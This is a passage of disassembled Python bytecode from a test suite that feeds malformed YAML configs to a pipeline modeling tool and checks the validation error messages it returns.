test_error_pipelines_node_not_map LOAD_CONST <code object test_error_config_not_contain_pl at 0x7fab42bd8420, file "f.py", line 60> LOAD_CONST 'test_error_config_not_contain_pl' MAKE_FUNCTION STORE_NAME test_error_config_not_contain_pl LOAD_CONST <code object test_error_no_source at 0x7fab42bd8a50, file "f.py", line 71> LOAD_CONST 'test_error_no_source' MAKE_FUNCTION STORE_NAME test_error_no_source LOAD_CONST <code object test_error_source_no_name at 0x7fab42bd8e40, file "f.py", line 83> LOAD_CONST 'test_error_source_no_name' MAKE_FUNCTION STORE_NAME test_error_source_no_name LOAD_CONST <code object test_error_source_no_latency at 0x7fab42bd8d20, file "f.py", line 95> LOAD_CONST 'test_error_source_no_latency' MAKE_FUNCTION STORE_NAME test_error_source_no_latency LOAD_CONST <code object test_error_source_no_output at 0x7fab42bd8540, file "f.py", line 108> LOAD_CONST 'test_error_source_no_output' MAKE_FUNCTION STORE_NAME test_error_source_no_output LOAD_CONST <code object test_error_source_output_no_dims at 0x7fab42bd8db0, file "f.py", line 122> LOAD_CONST 'test_error_source_output_no_dims' MAKE_FUNCTION STORE_NAME test_error_source_output_no_dims LOAD_CONST <code object test_error_source_output_no_precision at 0x7fab42bd81e0, file "f.py", line 137> LOAD_CONST 'test_error_source_output_no_precision' MAKE_FUNCTION STORE_NAME test_error_source_output_no_precision LOAD_CONST <code object test_error_no_nodes at 0x7fab42bd8b70, file "f.py", line 153> LOAD_CONST 'test_error_no_nodes' MAKE_FUNCTION STORE_NAME test_error_no_nodes LOAD_CONST <code object test_error_nodes_not_sequence at 0x7fab42bd85d0, file "f.py", line 170> LOAD_CONST 'test_error_nodes_not_sequence' MAKE_FUNCTION STORE_NAME test_error_nodes_not_sequence LOAD_CONST <code object test_error_node_no_name at 0x7fab42bd88a0, file "f.py", line 188> LOAD_CONST 'test_error_node_no_name' MAKE_FUNCTION STORE_NAME test_error_node_no_name LOAD_CONST <code object test_error_node_no_type at 0x7fab42a668a0, file "f.py", line 207> LOAD_CONST 'test_error_node_no_type' MAKE_FUNCTION STORE_NAME test_error_node_no_type LOAD_CONST <code object test_error_node_unknown_type at 0x7fab42a66810, file "f.py", line 226> LOAD_CONST 'test_error_node_unknown_type' MAKE_FUNCTION STORE_NAME test_error_node_unknown_type LOAD_CONST <code object test_error_node_dummy_no_time at 0x7fab42a66ed0, file "f.py", line 246> LOAD_CONST 'test_error_node_dummy_no_time' MAKE_FUNCTION STORE_NAME test_error_node_dummy_no_time LOAD_CONST <code object test_error_node_dummy_not_positive_time at 0x7fab42a660c0, file "f.py", line 266> LOAD_CONST 'test_error_node_dummy_not_positive_time' MAKE_FUNCTION STORE_NAME test_error_node_dummy_not_positive_time LOAD_CONST <code object test_error_node_dummy_no_output at 0x7fab42a66a50, file "f.py", line 287> LOAD_CONST 'test_error_node_dummy_no_output' MAKE_FUNCTION STORE_NAME test_error_node_dummy_no_output LOAD_CONST <code object test_error_node_infer_no_model_path at 0x7fab42a66420, file "f.py", line 308> LOAD_CONST 'test_error_node_infer_no_model_path' MAKE_FUNCTION STORE_NAME test_error_node_infer_no_model_path LOAD_CONST <code object test_error_node_infer_no_input_layers at 0x7fab42a664b0, file "f.py", line 335> LOAD_CONST 'test_error_node_infer_no_input_layers' MAKE_FUNCTION STORE_NAME test_error_node_infer_no_input_layers LOAD_CONST <code object test_error_node_infer_input_layers_are_empty at 0x7fab42a666f0, file "f.py", line 358> LOAD_CONST 'test_error_node_infer_input_layers_are_empty' MAKE_FUNCTION STORE_NAME test_error_node_infer_input_layers_are_empty LOAD_CONST <code object test_error_node_infer_no_output_layers at 0x7fab42a66e40, file "f.py", line 383> LOAD_CONST 'test_error_node_infer_no_output_layers' MAKE_FUNCTION STORE_NAME test_error_node_infer_no_output_layers LOAD_CONST <code object test_error_node_infer_output_layers_are_empty at 0x7fab42a66270, file "f.py", line 408> LOAD_CONST 'test_error_node_infer_output_layers_are_empty' MAKE_FUNCTION STORE_NAME test_error_node_infer_output_layers_are_empty LOAD_CONST <code object test_error_no_edges at 0x7fab42a66b70, file "f.py", line 434> LOAD_CONST 'test_error_no_edges' MAKE_FUNCTION STORE_NAME test_error_no_edges LOAD_CONST <code object test_error_edges_not_sequence at 0x7fab42a66c00, file "f.py", line 459> LOAD_CONST 'test_error_edges_not_sequence' MAKE_FUNCTION STORE_NAME test_error_edges_not_sequence LOAD_CONST <code object test_error_edges_no_from at 0x7fab42a66ae0, file "f.py", line 485> LOAD_CONST 'test_error_edges_no_from' MAKE_FUNCTION STORE_NAME test_error_edges_no_from LOAD_CONST <code object test_error_edges_no_to at 0x7fab42a66150, file "f.py", line 512> LOAD_CONST 'test_error_edges_no_to' MAKE_FUNCTION STORE_NAME test_error_edges_no_to LOAD_CONST <code object test_error_edges_from_not_exists at 0x7fab42a661e0, file "f.py", line 539> LOAD_CONST 'test_error_edges_from_not_exists' MAKE_FUNCTION STORE_NAME test_error_edges_from_not_exists LOAD_CONST <code object test_error_edges_from_port_not_exists at 0x7fab42a66d20, file "f.py", line 567> LOAD_CONST 'test_error_edges_from_port_not_exists' MAKE_FUNCTION STORE_NAME test_error_edges_from_port_not_exists LOAD_CONST <code object test_error_edges_to_not_exists at 0x7fab42a66930, file "f.py", line 595> LOAD_CONST 'test_error_edges_to_not_exists' MAKE_FUNCTION STORE_NAME test_error_edges_to_not_exists LOAD_CONST <code object test_error_edges_to_port_not_exists at 0x7fab42a66660, file "f.py", line 623> LOAD_CONST 'test_error_edges_to_port_not_exists' MAKE_FUNCTION STORE_NAME test_error_edges_to_port_not_exists LOAD_CONST <code object test_error_connect_to_source at 0x7fab42a66f60, file "f.py", line 651> LOAD_CONST 'test_error_connect_to_source' MAKE_FUNCTION STORE_NAME test_error_connect_to_source LOAD_CONST <code object test_error_double_edge at 0x7fab54331810, file "f.py", line 679> LOAD_CONST 'test_error_double_edge' MAKE_FUNCTION STORE_NAME test_error_double_edge LOAD_CONST <code object test_error_double_edge at 0x7fab543319c0, file "f.py", line 709> LOAD_CONST 'test_error_double_edge' MAKE_FUNCTION STORE_NAME test_error_double_edge LOAD_CONST <code object test_node_has_dangling_input at 0x7fab54331ae0, file "f.py", line 739> LOAD_CONST 'test_node_has_dangling_input' MAKE_FUNCTION STORE_NAME test_node_has_dangling_input LOAD_CONST <code object test_error_has_cycle_0 at 0x7fab543318a0, file "f.py", line 776> LOAD_CONST 'test_error_has_cycle_0' MAKE_FUNCTION STORE_NAME test_error_has_cycle_0 LOAD_CONST <code object test_error_has_cycle_0 at 0x7fab54331780, file "f.py", line 808> LOAD_CONST 'test_error_has_cycle_0' MAKE_FUNCTION STORE_NAME test_error_has_cycle_0 LOAD_CONST <code object test_error_no_load_config_exists at 0x7fab54331420, file "f.py", line 849> LOAD_CONST 'test_error_no_load_config_exists' MAKE_FUNCTION STORE_NAME test_error_no_load_config_exists LOAD_CONST <code object test_error_invalid_app_mode at 0x7fab54331e40, file "f.py", line 878> LOAD_CONST 'test_error_invalid_app_mode' MAKE_FUNCTION STORE_NAME test_error_invalid_app_mode LOAD_CONST <code object test_error_invalid_pl_mode at 0x7fab543314b0, file "f.py", line 907> LOAD_CONST 'test_error_invalid_pl_mode' MAKE_FUNCTION STORE_NAME test_error_invalid_pl_mode LOAD_CONST <code object test_error_drop_frames_with_streaming at 0x7fab54331c90, file "f.py", line 936> LOAD_CONST 'test_error_drop_frames_with_streaming' MAKE_FUNCTION STORE_NAME test_error_drop_frames_with_streaming LOAD_CONST <code object test_incorrect_call_every_nth at 0x7fab54331930, file "f.py", line 967> LOAD_CONST 'test_incorrect_call_every_nth' MAKE_FUNCTION STORE_NAME test_incorrect_call_every_nth LOAD_CONST <code object test_error_no_worktime_and_num_iters at 0x7fab54331b70, file "f.py", line 997> LOAD_CONST 'test_error_no_worktime_and_num_iters' MAKE_FUNCTION STORE_NAME test_error_no_worktime_and_num_iters LOAD_CONST None RETURN_VALUE SETUP_EXCEPT to 32 LOAD_GLOBAL subprocess LOAD_ATTR check_output LOAD_FAST exec_str LOAD_GLOBAL subprocess LOAD_ATTR STDOUT LOAD_CONST True LOAD_CONST ('stderr', 'shell') CALL_FUNCTION LOAD_METHOD strip CALL_METHOD LOAD_METHOD decode CALL_METHOD STORE_FAST out POP_BLOCK JUMP_FORWARD to 82 DUP_TOP LOAD_GLOBAL subprocess LOAD_ATTR CalledProcessError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST exc POP_TOP SETUP_FINALLY to 68 LOAD_FAST exc LOAD_ATTR output LOAD_METHOD strip CALL_METHOD LOAD_METHOD decode CALL_METHOD STORE_FAST out POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST exc DELETE_FAST exc END_FINALLY POP_EXCEPT JUMP_FORWARD to 82 END_FINALLY LOAD_FAST out RETURN_VALUE LOAD_GLOBAL get_output LOAD_GLOBAL pipeline_modeling_tool CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Config must be specified via --cfg option' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'not_existing_cfg.yml' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_CONST 'Failed to open config file: not_existing_cfg.yml' LOAD_FAST out COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: -1" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'work_time must be positive' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Config must contain field: Pipelines' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Pipelines field must be a map' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={} --exec_list=PL2' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Pipelines must contain field: PL2' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n queue_capacity: 1" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'PL1 must contain field: source' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'source must contain field: name' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'source must contain field: latency' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'source must contain field: output' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'output must contain field: dims' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'output must contain field: precision' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'PL1 must contain field: nodes' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'nodes in PL1 must be a sequence' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n -" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'node must contain field: name' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'node must contain field: type' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Unknown\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Unsupported node type: Unknown' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node0 must contain field: time' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: -0.2" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node0 time must be positive' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node0 must contain field: output' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_CONST 'Path to OpenVINO model must be specified in either of two formats:\n1.\n xml: path to *.xml\n bin: path to *.bin\n2.\n blob: path to *.blob' STORE_FAST error_msg LOAD_FAST out LOAD_METHOD startswith LOAD_FAST error_msg CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'\n blob: model.blob\n device: \'CPU\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node0 must contain field: input_layers' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'\n blob: model.blob\n device: \'CPU\'\n input_layers:\n " ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'input_layers in Node0 must be a sequence' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'\n blob: model.blob\n device: \'CPU\'\n input_layers:\n - \'layer_name\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Node0 must contain field: output_layers' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Infer\'\n blob: model.blob\n device: \'CPU\'\n input_layers:\n - \'layer_name\'\n output_layers:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'output_layers in Node0 must be a sequence' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'PL1 must contain field: edges' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'edges in PL1 must be a sequence' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n -" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'edge must contain field: from' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Node0\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'edge must contain field: to' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n nodes:\n - name: \'Node0\'\n type: \'Dummy\'\n time: 0.2\n output:\n dims: [1,2,3,4]\n precision: \'U8\'\n edges:\n - from: \'Node1\'\n to: \'Node2\'" ' STORE_FAST cfg_file LOAD_CONST '{} --cfg={}' LOAD_METHOD format LOAD_GLOBAL pipeline_modeling_tool LOAD_FAST cfg_file CALL_METHOD STORE_FAST exec_str LOAD_GLOBAL get_output LOAD_FAST exec_str CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_METHOD startswith LOAD_CONST 'Failed to find node: Node1' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '"%YAML:1.0\nwork_time: 1000\nPipelines:\n PL1:\n source:\n name: \'Src\'\n latency: 20\n 